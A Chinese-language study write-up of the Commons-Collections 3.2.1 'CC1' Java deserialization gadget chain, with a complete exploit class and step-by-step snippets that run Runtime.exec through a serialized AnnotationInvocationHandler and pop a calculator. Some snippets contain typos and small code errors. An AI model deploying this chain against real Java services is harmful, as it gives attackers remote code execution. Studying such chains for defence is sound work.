1. 1. 调试环境配置
  2. 2. 完整EXP
  3. 3. EXP构造逻辑
    1. 3.0.0.1.
  • 4. 几处需要注意的 gadget
  • 5. CC1链流程图
  • 调试环境配置

    复现环境:jdk1.8.0_65 (/Library/Java/JavaVirtualMachines/jdk1.8.0_65.jdk/Contents/Home)

    ​ .java源码 (/Users/gehansheng/Desktop/Java代码审计/CC链/CC1/jdk-af660750b2f4

    https://hg.openjdk.org/ 仓库中下载 JDK源码包

    ​ Commons-Collections 3.2.1

    原安装的 jdk文件夹中的多为 .class反编译后的文件,代码不易阅读和调试,替换为 .java源码文件即可。

    src/share/classes 中保存着 Java标准库源码

    image-20250205112320017

    image-20250205112739098

    同理,使用 maven导入 Commons-Collections依赖的时候,maven添加的也是编译后的 .class文件,手动下载源代码即可:

    image-20250205113515423

    完整EXP

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    package org.kgty;

    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.TransformedMap;

    import java.io.FileInputStream;
    import java.io.FileOutputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.lang.annotation.Target;
    import java.lang.reflect.Constructor;
    import java.util.HashMap;
    import java.util.Map;

    public class EXP {
    public static void main(String[] args) throws Exception {
    Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

    HashMap<Object,Object> map = new HashMap<>();
    map.put("value",1);
    Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

    Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor annontationInvocationHandlerConstructor = a.getDeclaredConstructor(Class.class, Map.class);
    annontationInvocationHandlerConstructor.setAccessible(true);
    Object annotationInvocationHandler = annontationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
    serialize(annotationInvocationHandler);
    deserialize();
    }

    public static void serialize(Object object) throws Exception {
    ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/serialized.txt"));
    objectOutputStream.writeObject(object);
    }

    public static void deserialize() throws Exception {
    ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("/Users/gehansheng/Desktop/Tools/Commons_Collections1/src/main/java/org/kgty/serialized.txt"));
    objectInputStream.readObject();
    }
    }

    EXP构造逻辑

    正常使用 Java反射实现RCE逻辑不做赘述

    1
    2
    3
    Runtime runtime = Runtime.getRuntime();
    Method execMethod = Runtime.getMethod("exec", String.class);
    runtime.invoke(execMethod, "open -a Calcualtor");

    (1) Commons-Collections 3.2.1中,存在核心接口 Transformer,是一种对象转换的机制,用于将一个输入对象转换为另一个输出对象。

    image-20250205122815039

    (2) InvokerTransformer类实现了 Transform方法,可以通过反射调用输入对象的方法:

    image-20250205123748491

    1
    new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"open -a Calculator"}).transform(runtime);

    (3) InvokerTransformer中的 transform方法在 TransformedMap的 checkSetValue方法中被调用:

    ![image-20250205162426065](/Users/gehansheng/Library/Application Support/typora-user-images/image-20250205162426065.png)

    若 valueTransformer的值可控,则可以实现命令执行。

    valueTransformer的值在构造函数 TransformedMap中被定义:

    image-20250205163016420

    但 TransformedMap构造函数的属性为 protected,protected属性修饰的方法只能被当前类/子类调用,所以需要找一个当前类/子类中调用了 TransformedMap构造方法的 public方法。

    当前类 public方法 decorate调用了构造方法 TransformedMap:

    image-20250205163335651

    由此 valueTransformer可控:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    public class blog {
    public static void main(String[] args) throws Exception {
    Runtime runtime = Runtime.getRuntime();
    InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"});
    HashMap<Object,Object> hashMap = new HashMap<>();
    hashMap.put("a","b");
    Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap, null, invokerTransformer);
    }
    }

    (4) 继续向上找 checkSetValue方法在哪里被调用,TransformedMap父类 AbstractInputCheckedMapDecorator中的 MapEntry类中的 setValue方法调用了它:

    image-20250205165029362

    使用 for循环遍历 transformedMap中的键值时,调用 setValue方法,进而触发 checkSetValue方法实现命令执行

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    public class blog {
    public static void main(String[] args) throws Exception {
    Runtime runtime = Runtime.getRuntime();
    InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"});
    HashMap<Object, Object> hashMap = new HashMap<>();
    hashMap.put("a", "b");
    Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, invokerTransformer);

    for(Map.Entry<Object, Object> entry : transformedMap.entrySet()) {
    entry.setValue(runtime);
    }
    }
    }

    (5) setValue方法在 AnnotationInvocationHandler.readbject方法中被调用,同样是遍历 Map的场景,这条链子大致就齐了:

    image-20250205200442991

    memberValues的值需可控,类 AnnotationInvocationHandler和其构造方法未使用任何访问修饰符进行修饰,只有同一包中的类可以进行访问调用。

    image-20250205201338465

    故使用反射进行调用:

    type的属性是一种 Class泛型,Annotation是 Java中所有注解类的父类,所以 type需要赋值一种注解类。

    1
    2
    3
    4
    Class c = Class.forName("com.sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor annotationInvHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
    annotationInvHandlerConstructor.setAccessible(true);
    Object annotationInvHandler = annotationInvHandlerConstructor.newInstance(Override.class, transformedMap);

    几处需要注意的 gadget

    1、Runtime类没有实现 java.io.Serializable接口,不能被序列化和反序列化,需要使用反射来配合 InvokerTransformer构造。

    正常反射调用 Runtime.getRuntime().exec():

    1
    2
    3
    4
    5
    6
    7
    8
    9
    public class Test {
    public static void main(String[] args) throws Exception {
    Class c = Class.forName("java.lang.Runtime");
    Method getRuntimeMethod = c.getMethod("getRuntime", null);
    Runtime runtime = (Runtime) getRuntimeMethod.invoke(null, null);
    Method execMethod = c.getMethod("exec", String.class);
    execMethod.invoke(runtime, "open -a Calculator");
    }
    }

    配合 InvokerTransformer:

    1
    2
    3
    4
    5
    6
    7
    public class Test {
    public static void main(String[] args) throws Exception {
    Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
    Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"}).transform(runtime);
    }
    }

    可以利用类 ChainedTransformer中 transform方法可以递归调用 InvokerTransformer方法:

    image-20250205205828723

    1
    2
    3
    4
    5
    6
    7
    Transformer[] transformers = new Transformer[]{
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
    new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    chainedTransformer.transform(Runtime.class);

    2、AnnotationInvocationHandler.readObject的执行逻辑到达 memberValue.setValue之前,需要经过两个 if条件:

    image-20250205211515518

    断点调试 readObejct的步进逻辑可知,首先使用 annotationType获取注解 Override,接着使用 annotationType.memberTypes获取注解成员,键为注解成员的值,值为注解成员的类型。

    最后判断注解成员是否和memberValue的键值相同,相同则不为 null,通过 if判断。

    image-20250206092851360

    但 Override.class中无成员,所以更换为 Target.class,并修改 hashMap中传入的键值:

    image-20250206093820145

    image-20250206093847825

    3、最后需要确保 setValue的值可控,虽然 AnnotationInvocationHandler.readObject中已经确定了 setValue的值,但可以利用 ConstantTransformer类修改。

    ConstantTransformer.transform无论输入数据是什么,都返回常量 iConstant,iConstant在构造函数中被赋值,利用 ConstantTransformer和 ChainedTransformer可以控制 setValue值:

    1
    2
    3
    4
    5
    ransformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
    };

    CC1链流程图

    image-20250206101027776